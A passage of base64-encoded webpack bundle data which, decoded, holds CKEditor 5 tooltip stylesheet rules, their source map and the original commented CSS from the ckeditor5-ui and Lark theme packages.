GlzIHdpbGwgcHJldmVudCBibHVycnkgaWNvbnMgb24gRmlyZWZveC4gU2VlICMzNDAuICovXG5cdHdpbGwtY2hhbmdlOiB0cmFuc2Zvcm07XG5cblx0JiAqIHtcblx0XHQvKiBJbmhlcml0IGN1cnNvciBzdHlsZSAoIzUpLiAqL1xuXHRcdGN1cnNvcjogaW5oZXJpdDtcblxuXHRcdC8qIEFsbG93cyBkeW5hbWljIGNvbG9yaW5nIG9mIHRoZSBpY29ucy4gKi9cblx0XHRjb2xvcjogaW5oZXJpdDtcblxuXHRcdCY6bm90KFtmaWxsXSkge1xuXHRcdFx0LyogTmVlZGVkIGJ5IEZGLiAqL1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblx0fVxufVxuJ10sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwnLmNrLmNrLXRvb2x0aXAsLmNrLmNrLXRvb2x0aXAgLmNrLXRvb2x0aXBfX3RleHQ6YWZ0ZXJ7cG9zaXRpb246YWJzb2x1dGU7cG9pbnRlci1ldmVudHM6bm9uZTstd2Via2l0LWJhY2tmYWNlLXZpc2liaWxpdHk6aGlkZGVufS5jay5jay10b29sdGlwe3Zpc2liaWxpdHk6aGlkZGVuO29wYWNpdHk6MDtkaXNwbGF5Om5vbmU7ei1pbmRleDp2YXIoLS1jay16LW1vZGFsKX0uY2suY2stdG9vbHRpcCAuY2stdG9vbHRpcF9fdGV4dHtkaXNwbGF5OmlubGluZS1ibG9ja30uY2suY2stdG9vbHRpcCAuY2stdG9vbHRpcF9fdGV4dDphZnRlcntjb250ZW50OiIiO3dpZHRoOjA7aGVpZ2h0OjB9OnJvb3R7LS1jay10b29sdGlwLWFycm93LXNpemU6NXB4fS5jay5jay10b29sdGlwe2xlZnQ6NTAlO3RvcDowO3RyYW5zaXRpb246b3BhY2l0eSAuMnMgZWFzZS1pbi1vdXQgLjJzfS5jay5jay10b29sdGlwIC5jay10b29sdGlwX190ZXh0e2JvcmRlci1yYWRpdXM6MH0uY2stcm91bmRlZC1jb3JuZXJzIC5jay5jay10b29sdGlwIC5jay10b29sdGlwX190ZXh0LC5jay5jay10b29sdGlwIC5jay10b29sdGlwX190ZXh0LmNrLXJvdW5kZWQtY29ybmVyc3tib3JkZXItcmFkaXVzOnZhcigtLWNrLWJvcmRlci1yYWRpdXMpfS5jay5jay10b29sdGlwIC5jay10b29sdGlwX190ZXh0e2ZvbnQtc2l6ZTouOWVtO2xpbmUtaGVpZ2h0OjEuNTtjb2xvcjp2YXIoLS1jay1jb2xvci10b29sdGlwLXRleHQpO3BhZGRpbmc6dmFyKC0tY2stc3BhY2luZy1zbWFsbCkgdmFyKC0tY2stc3BhY2luZy1tZWRpdW0pO2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItdG9vbHRpcC1iYWNrZ3JvdW5kKTtwb3NpdGlvbjpyZWxhdGl2ZTtsZWZ0Oi01MCV9LmNrLmNrLXRvb2x0aXAgLmNrLXRvb2x0aXBfX3RleHQ6YWZ0ZXJ7dHJhbnNpdGlvbjpvcGFjaXR5IC4ycyBlYXNlLWluLW91dCAuMnM7Ym9yZGVyLXN0eWxlOnNvbGlkO2xlZnQ6NTAlfS5jay5jay10b29sdGlwLmNrLXRvb2x0aXBfcywuY2suY2stdG9vbHRpcC5jay10b29sdGlwX3NlLC5jay5jay10b29sdGlwLmNrLXRvb2x0aXBfc3d7Ym90dG9tOmNhbGModmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKSotMSk7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoMTAwJSl9LmNrLmNrLXRvb2x0aXAuY2stdG9vbHRpcF9zIC5jay10b29sdGlwX190ZXh0OmFmdGVyLC5jay5jay10b29sdGlwLmNrLXRvb2x0aXBfc2UgLmNrLXRvb2x0aXBfX3RleHQ6YWZ0ZXIsLmNrLmNrLXRvb2x0aXAuY2stdG9vbHRpcF9zdyAuY2stdG9vbHRpcF9fdGV4dDphZnRlcnt0b3A6Y2FsYyh2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpKi0xICsgMXB4KTt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtNTAlKTtib3JkZXItbGVmdC1jb2xvcjp0cmFuc3BhcmVudDtib3JkZXItYm90dG9tLWNvbG9yOnZhcigtLWNrLWNvbG9yLXRvb2x0aXAtYmFja2dyb3VuZCk7Ym9yZGVyLXJpZ2h0LWNvbG9yOnRyYW5zcGFyZW50O2JvcmRlci10b3AtY29sb3I6dHJhbnNwYXJlbnQ7Ym9yZGVyLWxlZnQtd2lkdGg6dmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKTtib3JkZXItYm90dG9tLXdpZHRoOnZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSk7Ym9yZGVyLXJpZ2h0LXdpZHRoOnZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSk7Ym9yZGVyLXRvcC13aWR0aDowfS5jay5jay10b29sdGlwLmNrLXRvb2x0aXBfc3d7cmlnaHQ6NTAlO2xlZnQ6YXV0b30uY2suY2stdG9vbHRpcC5jay10b29sdGlwX3N3IC5jay10b29sdGlwX190ZXh0e2xlZnQ6YXV0bztyaWdodDpjYWxjKHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkqLTIpfS5jay5jay10b29sdGlwLmNrLXRvb2x0aXBfc3cgLmNrLXRvb2x0aXBfX3RleHQ6YWZ0ZXJ7bGVmdDphdXRvO3JpZ2h0OjB9LmNrLmNrLXRvb2x0aXAuY2stdG9vbHRpcF9zZXtsZWZ0OjUwJTtyaWdodDphdXRvfS5jay5jay10b29sdGlwLmNrLXRvb2x0aXBfc2UgLmNrLXRvb2x0aXBfX3RleHR7cmlnaHQ6YXV0bztsZWZ0OmNhbGModmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKSotMil9LmNrLmNrLXRvb2x0aXAuY2stdG9vbHRpcF9zZSAuY2stdG9vbHRpcF9fdGV4dDphZnRlcntyaWdodDphdXRvO2xlZnQ6MDt0cmFuc2Zvcm06dHJhbnNsYXRlWCg1MCUpfS5jay5jay10b29sdGlwLmNrLXRvb2x0aXBfbnt0b3A6Y2FsYyh2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpKi0xKTt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMTAwJSl9LmNrLmNrLXRvb2x0aXAuY2stdG9vbHRpcF9uIC5jay10b29sdGlwX190ZXh0OmFmdGVye2JvdHRvbTpjYWxjKHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkqLTEpO3RyYW5zZm9ybTp0cmFuc2xhdGVYKC01MCUpO2JvcmRlci1sZWZ0LWNvbG9yOnRyYW5zcGFyZW50O2JvcmRlci1ib3R0b20tY29sb3I6dHJhbnNwYXJlbnQ7Ym9yZGVyLXJpZ2h0LWNvbG9yOnRyYW5zcGFyZW50O2JvcmRlci10b3AtY29sb3I6dmFyKC0tY2stY29sb3ItdG9vbHRpcC1iYWNrZ3JvdW5kKTtib3JkZXItbGVmdC13aWR0aDp2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpO2JvcmRlci1ib3R0b20td2lkdGg6MDtib3JkZXItcmlnaHQtd2lkdGg6dmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKTtib3JkZXItdG9wLXdpZHRoOnZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSl9LmNrLmNrLXRvb2x0aXAuY2stdG9vbHRpcF9le2xlZnQ6Y2FsYygxMDAlICsgdmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKSk7dG9wOjUwJX0uY2suY2stdG9vbHRpcC5jay10b29sdGlwX2UgLmNrLXRvb2x0aXBfX3RleHR7bGVmdDowO3RyYW5zZm9ybTp0cmFuc2xhdGVZKC01MCUpfS5jay5jay10b29sdGlwLmNrLXRvb2x0aXBfZSAuY2stdG9vbHRpcF9fdGV4dDphZnRlcntsZWZ0OmNhbGModmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKSotMSk7dG9wOmNhbGMoNTAlIC0gdmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKSoxKTtib3JkZXItbGVmdC1jb2xvcjp0cmFuc3BhcmVudDtib3JkZXItYm90dG9tLWNvbG9yOnRyYW5zcGFyZW50O2JvcmRlci1yaWdodC1jb2xvcjp2YXIoLS1jay1jb2xvci10b29sdGlwLWJhY2tncm91bmQpO2JvcmRlci10b3AtY29sb3I6dHJhbnNwYXJlbnQ7Ym9yZGVyLWxlZnQtd2lkdGg6MDtib3JkZXItYm90dG9tLXdpZHRoOnZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSk7Ym9yZGVyLXJpZ2h0LXdpZHRoOnZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSk7Ym9yZGVyLXRvcC13aWR0aDp2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpfS5jay5jay10b29sdGlwLmNrLXRvb2x0aXBfd3tyaWdodDpjYWxjKDEwMCUgKyB2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpKTtsZWZ0OmF1dG87dG9wOjUwJX0uY2suY2stdG9vbHRpcC5jay10b29sdGlwX3cgLmNrLXRvb2x0aXBfX3RleHR7bGVmdDowO3RyYW5zZm9ybTp0cmFuc2xhdGVZKC01MCUpfS5jay5jay10b29sdGlwLmNrLXRvb2x0aXBfdyAuY2stdG9vbHRpcF9fdGV4dDphZnRlcntsZWZ0OjEwMCU7dG9wOmNhbGMoNTAlIC0gdmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKSoxKTtib3JkZXItbGVmdC1jb2xvcjp2YXIoLS1jay1jb2xvci10b29sdGlwLWJhY2tncm91bmQpO2JvcmRlci1ib3R0b20tY29sb3I6dHJhbnNwYXJlbnQ7Ym9yZGVyLXJpZ2h0LWNvbG9yOnRyYW5zcGFyZW50O2JvcmRlci10b3AtY29sb3I6dHJhbnNwYXJlbnQ7Ym9yZGVyLWxlZnQtd2lkdGg6dmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKTtib3JkZXItYm90dG9tLXdpZHRoOnZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSk7Ym9yZGVyLXJpZ2h0LXdpZHRoOjA7Ym9yZGVyLXRvcC13aWR0aDp2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpfScsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdWkvdGhlbWUvY29tcG9uZW50cy90b29sdGlwL3Rvb2x0aXAuY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9ja2VkaXRvcjUtdWkvY29tcG9uZW50cy90b29sdGlwL3Rvb2x0aXAuY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9taXhpbnMvX3JvdW5kZWQuY3NzIl0sbmFtZXM6W10sbWFwcGluZ3M6IkFBS0Esc0RBRUMsaUJBQWtCLENBR2xCLG1CQUFvQixDQUlwQixrQ0FDRCxDQUVBLGVBRUMsaUJBQWtCLENBQ2xCLFNBQVUsQ0FDVixZQUFhLENBQ2IseUJBV0QsQ0FUQyxpQ0FDQyxvQkFPRCxDQUxDLHVDQUNDLFVBQVcsQ0FDWCxPQUFRLENBQ1IsUUFDRCxDQ3hCRixNQUNDLDJCQUNELENBRUEsZUFDQyxRQUFTLENBTVQsS0FBTSxDQU9OLHNDQXdLRCxDQXRLQyxpQ0NoQkEsZURxQ0EsQ0FyQkEseUdDWkMscUNEaUNELENBckJBLGlDQUdDLGNBQWUsQ0FDZixlQUFnQixDQUNoQixrQ0FBbUMsQ0FDbkMsd0RBQXlELENBQ3pELDZDQUE4QyxDQUM5QyxpQkFBa0IsQ0FDbEIsU0FZRCxDQVZDLHVDQU1DLHNDQUF1QyxDQUN2QyxrQkFBbUIsQ0FDbkIsUUFDRCxDQVlELHNGQUdDLDRDQUErQyxDQUMvQywwQkFTRCxDQVBDLDhKQUVDLCtDQUFrRCxDQUNsRCwwQkFBNkIsQ0FDN0IsNkJBQW9GLENBQXBGLHNEQUFvRixDQUFwRiw4QkFBb0YsQ0FBcEYsNEJBQW9GLENBQ3BGLDhDQUFzRyxDQUF0RyxnREFBc0csQ0FBdEcsK0NBQXNHLENBQXRHLGtCQUNELENBYUQsNkJBQ0MsU0FBVSxDQUNWLFNBV0QsQ0FUQywrQ0FDQyxTQUFVLENBQ1YsMkNBQ0QsQ0FFQSxxREFDQyxTQUFVLENBQ1YsT0FDRCxDQVlELDZCQUNDLFFBQVMsQ0FDVCxVQVlELENBVkMsK0NBQ0MsVUFBVyxDQUNYLDBDQUNELENBRUEscURBQ0MsVUFBVyxDQUNYLE1BQU8sQ0FDUCx5QkFDRCxDQVlELDRCQUNDLHlDQUE0QyxDQUM1QywyQkFRRCxDQU5DLG9EQUNDLDRDQUErQyxDQUMvQywwQkFBNkIsQ0FDN0IsNkJBQW9GLENBQXBGLCtCQUFvRixDQUFwRiw4QkFBb0YsQ0FBcEYsbURBQW9GLENBQ3BGLDhDQUFzRyxDQUF0RyxxQkFBc0csQ0FBdEcsK0NBQXNHLENBQXRHLDZDQUNELENBVUQsNEJBQ0MsOENBQStDLENBQy9DLE9BYUQsQ0FYQyw4Q0FDQyxNQUFPLENBQ1AsMEJBUUQsQ0FOQyxvREFDQywwQ0FBNkMsQ0FDN0MsOENBQWlELENBQ2pELDZCQUFvRixDQUFwRiwrQkFBb0YsQ0FBcEYscURBQW9GLENBQXBGLDRCQUFvRixDQUNwRixtQkFBc0csQ0FBdEcsZ0RBQXNHLENBQXRHLCtDQUFzRyxDQUF0Ryw2Q0FDRCxDQVdGLDRCQUNDLCtDQUFnRCxDQUNoRCxTQUFVLENBQ1YsT0FhRCxDQVhDLDhDQUNDLE1BQU8sQ0FDUCwwQkFRRCxDQU5DLG9EQUNDLFNBQVUsQ0FDViw4Q0FBaUQsQ0FDakQsb0RBQW9GLENBQXBGLCtCQUFvRixDQUFwRiw4QkFBb0YsQ0FBcEYsNEJBQW9GLENBQ3BGLDhDQUFzRyxDQUF0RyxnREFBc0csQ0FBdEcsb0JBQXNHLENBQXRHLDZDQUNEIixzb3VyY2VzQ29udGVudDpbJy8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLmNrLmNrLXRvb2x0aXAsXG4uY2suY2stdG9vbHRpcCAuY2stdG9vbHRpcF9fdGV4dDo6YWZ0ZXIge1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cblx0LyogV2l0aG91dCB0aGlzLCBob3ZlcmluZyB0aGUgdG9vbHRpcCBjb3VsZCBrZWVwIGl0IHZpc2libGUuICovXG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXG5cdC8qIFRoaXMgaXMgdG8gZ2V0IHJpZCBvZiBmbGlja2VyaW5nIHdoZW4gdHJhbnNpdGlvbmluZyBvcGFjaXR5IGluIENocm9tZS5cblx0SXRcJ3Mgd2VpcmQgYnV0IGl0IHdvcmtzLiAqL1xuXHQtd2Via2l0LWJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcbn1cblxuLmNrLmNrLXRvb2x0aXAge1xuXHQvKiBUb29sdGlwIGlzIGhpZGRlbiBieSBkZWZhdWx0LiAqL1xuXHR2aXNpYmlsaXR5OiBoaWRkZW47XG5cdG9wYWNpdHk6IDA7XG5cdGRpc3BsYXk6IG5vbmU7XG5cdHotaW5kZXg6IHZhcigtLWNrLXotbW9kYWwpO1xuXG5cdCYgLmNrLXRvb2x0aXBfX3RleHQge1xuXHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbnRlbnQ6ICIiO1xuXHRcdFx0d2lkdGg6IDA7XG5cdFx0XHRoZWlnaHQ6IDA7XG5cdFx0fVxuXHR9XG59XG4nLCcvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fcm91bmRlZC5jc3MiO1xuXG46cm9vdCB7XG5cdC0tY2stdG9vbHRpcC1hcnJvdy1zaXplOiA1cHg7XG59XG5cbi5jay5jay10b29sdGlwIHtcblx0bGVmdDogNTAlO1xuXG5cdC8qXG5cdCAqIFByZXZlbnQgYmx1cnJ5IHRvb2x0aXBzIGluIExvRFBJIGVudmlyb25tZW50cy5cblx0ICogU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUvaXNzdWVzLzE4MDIuXG5cdCAqL1xuXHR0b3A6IDA7XG5cblx0Lypcblx0ICogRm9yIHRoZSB0cmFuc2l0aW9uIHRvIHdvcmssIHRoZSB0b29sdGlwIG11c3QgYmUgY29udHJvbGxlZFxuXHQgKiB1c2luZyB2aXNpYmlsaXR5K29wYWNpdHkuIEEgZGVsYXkgcHJldmVudHMgYSAidG9vbHRpcCBhdmFsYW5jaGUiXG5cdCAqIGkuZS4gd2hlbiBzY2FubmluZyB0aGUgdG9vbGJhciB3aXRoIG1vdXNlIGN1cnNvci5cblx0ICovXG5cdHRyYW5zaXRpb246IG9wYWNpdHkgLjJzIGVhc2UtaW4tb3V0IC4ycztcblxuXHQmIC5jay10b29sdGlwX190ZXh0IHtcblx0XHRAbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzO1xuXG5cdFx0Zm9udC1zaXplOiAuOWVtO1xuXHRcdGxpbmUtaGVpZ2h0OiAxLjU7XG5cdFx0Y29sb3I6IHZhcigtLWNrLWNvbG9yLXRvb2x0aXAtdGV4dCk7XG5cdFx0cGFkZGluZzogdmFyKC0tY2stc3BhY2luZy1zbWFsbCkgdmFyKC0tY2stc3BhY2luZy1tZWRpdW0pO1xuXHRcdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLXRvb2x0aXAtYmFja2dyb3VuZCk7XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdGxlZnQ6IC01MCU7XG5cblx0XHQmOjphZnRlciB7XG5cdFx0XHQvKlxuXHRcdFx0ICogRm9yIHRoZSB0cmFuc2l0aW9uIHRvIHdvcmssIHRoZSB0b29sdGlwIG11c3QgYmUgY29udHJvbGxlZFxuXHRcdFx0ICogdXNpbmcgdmlzaWJpbGl0eStvcGFjaXR5LiBBIGRlbGF5IHByZXZlbnRzIGEgInRvb2x0aXAgYXZhbGFuY2hlIlxuXHRcdFx0ICogaS5lLiB3aGVuIHNjYW5uaW5nIHRoZSB0b29sYmFyIHdpdGggbW91c2UgY3Vyc29yLlxuXHRcdFx0ICovXG5cdFx0XHR0cmFuc2l0aW9uOiBvcGFjaXR5IC4ycyBlYXNlLWluLW91dCAuMnM7XG5cdFx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdFx0bGVmdDogNTAlO1xuXHRcdH1cblx0fVxuXG5cdC8qKlxuXHQgKiBBIGNsYXNzIHRoYXQgZGlzcGxheXMgdGhlIHRvb2x0aXAgc291dGggb2YgdGhlIGVsZW1lbnQuXG5cdCAqXG5cdCAqICAgICAgIFtlbGVtZW50XVxuXHQgKiAgICAgICAgICAgXlxuXHQgKiAgICAgKy0tLS0tLS0tLS0tK1xuXHQgKiAgICAgfCAgVG9vbHRpcCAgfFxuXHQgKiAgICAgKy0tLS0tLS0tLS0tK1xuXHQgKi9cblx0Ji5jay10b29sdGlwX3MsXG5cdCYuY2stdG9vbHRpcF9zdyxcblx0Ji5jay10b29sdGlwX3NlIHtcblx0XHRib3R0b206IGNhbGMoLTEgKiB2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpKTtcblx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoIDEwMCUgKTtcblxuXHRcdCYgLmNrLXRvb2x0aXBfX3RleHQ6OmFmdGVyIHtcblx0XHRcdC8qIDFweCBhZGRyZXNzZXMgZ2xpY2hlcyBpbiByZW5kZXJpbmcgY2F1c2luZyBnYXAgYmV0d2VlbiB0aGUgdHJpYW5nbGUgYW5kIHRoZSB0ZXh0ICovXG5cdFx0XHR0b3A6IGNhbGMoLTEgKiB2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpICsgMXB4KTtcblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWCggLTUwJSApO1xuXHRcdFx0Ym9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudCB0cmFuc3BhcmVudCB2YXIoLS1jay1jb2xvci10b29sdGlwLWJhY2tncm91bmQpIHRyYW5zcGFyZW50O1xuXHRcdFx0Ym9yZGVyLXdpZHRoOiAwIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkgdmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKSB2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpO1xuXHRcdH1cblx0fVxuXG5cdC8qKlxuXHQgKiBBIGNsYXNzIHRoYXQgZGlzcGxheXMgdGhlIHRvb2x0aXAgc291dGgtd2VzdCBvZiB0aGUgZWxlbWVudC5cblx0ICpcblx0ICogICAgICAgIFtlbGVtZW50XVxuXHQgKiAgICAgICAgICAgIF5cblx0ICogICstLS0tLS0tLS0tLStcblx0ICogIHwgIFRvb2x0aXAgIHxcblx0ICogICstLS0tLS0tLS0tLStcblx0ICovXG5cblx0Ji5jay10b29sdGlwX3N3IHtcblx0XHRyaWdodDogNTAlO1xuXHRcdGxlZnQ6IGF1dG87XG5cblx0XHQmIC5jay10b29sdGlwX190ZXh0IHtcblx0XHRcdGxlZnQ6IGF1dG87XG5cdFx0XHRyaWdodDogY2FsYyggLTIgKiB2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpKTtcblx0XHR9XG5cblx0XHQmIC5jay10b29sdGlwX190ZXh0OjphZnRlciB7XG5cdFx0XHRsZWZ0OiBhdXRvO1xuXHRcdFx0cmlnaHQ6IDA7XG5cdFx0fVxuXHR9XG5cblx0LyoqXG5cdCAqIEEgY2xhc3MgdGhhdCBkaXNwbGF5cyB0aGUgdG9vbHRpcCBzb3V0aC1lYXN0IG9mIHRoZSBlbGVtZW50LlxuXHQgKlxuXHQgKiAgW2VsZW1lbnRdXG5cdCAqICAgICAgXlxuXHQgKiAgICArLS0tLS0tLS0tLS0rXG5cdCAqICAgIHwgIFRvb2x0aXAgIHxcblx0ICogICAgKy0tLS0tLS0tLS0tK1xuXHQgKi9cblx0Ji5jay10b29sdGlwX3NlIHtcblx0XHRsZWZ0OiA1MCU7XG5cdFx0cmlnaHQ6IGF1dG87XG5cblx0XHQmIC5jay10b29sdGlwX190ZXh0IHtcblx0XHRcdHJpZ2h0OiBhdXRvO1xuXHRcdFx0bGVmdDogY2FsYyggLTIgKiB2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpKTtcblx0XHR9XG5cblx0XHQmIC5jay10b29sdGlwX190ZXh0OjphZnRlciB7XG5cdFx0XHRyaWdodDogYXV0bztcblx0XHRcdGxlZnQ6IDA7XG5cdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIDUwJSApO1xuXHRcdH1cblx0fVxuXG5cdC8qKlxuXHQgKiBBIGNsYXNzIHRoYXQgZGlzcGxheXMgdGhlIHRvb2x0aXAgbm9ydGggb2YgdGhlIGVsZW1lbnQuXG5cdCAqXG5cdCAqICAgICArLS0tLS0tLS0tLS0rXG5cdCAqICAgICB8ICBUb29sdGlwICB8XG5cdCAqICAgICArLS0tLS0tLS0tLS0rXG5cdCAqICAgICAgICAgICBWXG5cdCAqICAgICAgIFtlbGVtZW50XVxuXHQgKi9cblx0Ji5jay10b29sdGlwX24ge1xuXHRcdHRvcDogY2FsYygtMSAqIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkpO1xuXHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggLTEwMCUgKTtcblxuXHRcdCYgLmNrLXRvb2x0aXBfX3RleHQ6OmFmdGVyIHtcblx0XHRcdGJvdHRvbTogY2FsYygtMSAqIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkpO1xuXHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKCAtNTAlICk7XG5cdFx0XHRib3JkZXItY29sb3I6IHZhcigtLWNrLWNvbG9yLXRvb2x0aXAtYmFja2dyb3VuZCkgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRib3JkZXItd2lkdGg6IHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkgdmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKSAwIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSk7XG5cdFx0fVxuXHR9XG5cblx0LyoqXG5cdCAqIEEgY2xhc3MgdGhhdCBkaXNwbGF5cyB0aGUgdG9vbHRpcCBlYXN0IG9mIHRoZSBlbGVtZW50LlxuXHQgKlxuXHQgKiAgICAgICAgICAgICAgICArLS0tLS0tLS0tLStcblx0ICogICAgW2VsZW1lbnRdIDwgfCAgIGVhc3QgICB8XG5cdCAqICAgICAgICAgICAgICAgICstLS0tLS0tLS0tK1xuXHQgKi9cblx0Ji5jay10b29sdGlwX2Uge1xuXHRcdGxlZnQ6IGNhbGMoMTAwJSArIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkpO1xuXHRcdHRvcDogNTAlO1xuXG5cdFx0JiAuY2stdG9vbHRpcF9fdGV4dCB7XG5cdFx0XHRsZWZ0OiAwO1xuXHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKCAtNTAlICk7XG5cblx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0bGVmdDogY2FsYygtMSAqIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkpO1xuXHRcdFx0XHR0b3A6IGNhbGMoNTAlIC0gMSAqIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkpO1xuXHRcdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50IHZhcigtLWNrLWNvbG9yLXRvb2x0aXAtYmFja2dyb3VuZCkgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdGJvcmRlci13aWR0aDogdmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKSB2YXIoLS1jay10b29sdGlwLWFycm93LXNpemUpIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkgMDtcblx0XHRcdH1cblx0XHR9XG5cdH1cblxuXHQvKipcblx0ICogQSBjbGFzcyB0aGF0IGRpc3BsYXlzIHRoZSB0b29sdGlwIHdlc3Qgb2YgdGhlIGVsZW1lbnQuXG5cdCAqXG5cdCAqICAgICstLS0tLS0tLS0tK1xuXHQgKiAgICB8ICAgd2VzdCAgIHwgPiBbZWxlbWVudF1cblx0ICogICAgKy0tLS0tLS0tLS0rXG5cdCAqL1xuXHQmLmNrLXRvb2x0aXBfdyB7XG5cdFx0cmlnaHQ6IGNhbGMoMTAwJSArIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkpO1xuXHRcdGxlZnQ6IGF1dG87XG5cdFx0dG9wOiA1MCU7XG5cblx0XHQmIC5jay10b29sdGlwX190ZXh0IHtcblx0XHRcdGxlZnQ6IDA7XG5cdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoIC01MCUgKTtcblxuXHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRsZWZ0OiAxMDAlO1xuXHRcdFx0XHR0b3A6IGNhbGMoNTAlIC0gMSAqIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkpO1xuXHRcdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50IHZhcigtLWNrLWNvbG9yLXRvb2x0aXAtYmFja2dyb3VuZCk7XG5cdFx0XHRcdGJvcmRlci13aWR0aDogdmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKSAwIHZhcigtLWNrLXRvb2x0aXAtYXJyb3ctc2l6ZSkgdmFyKC0tY2stdG9vbHRpcC1hcnJvdy1zaXplKTtcblx0XHRcdH1cblx0XHR9XG5cdH1cbn1cbicsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMj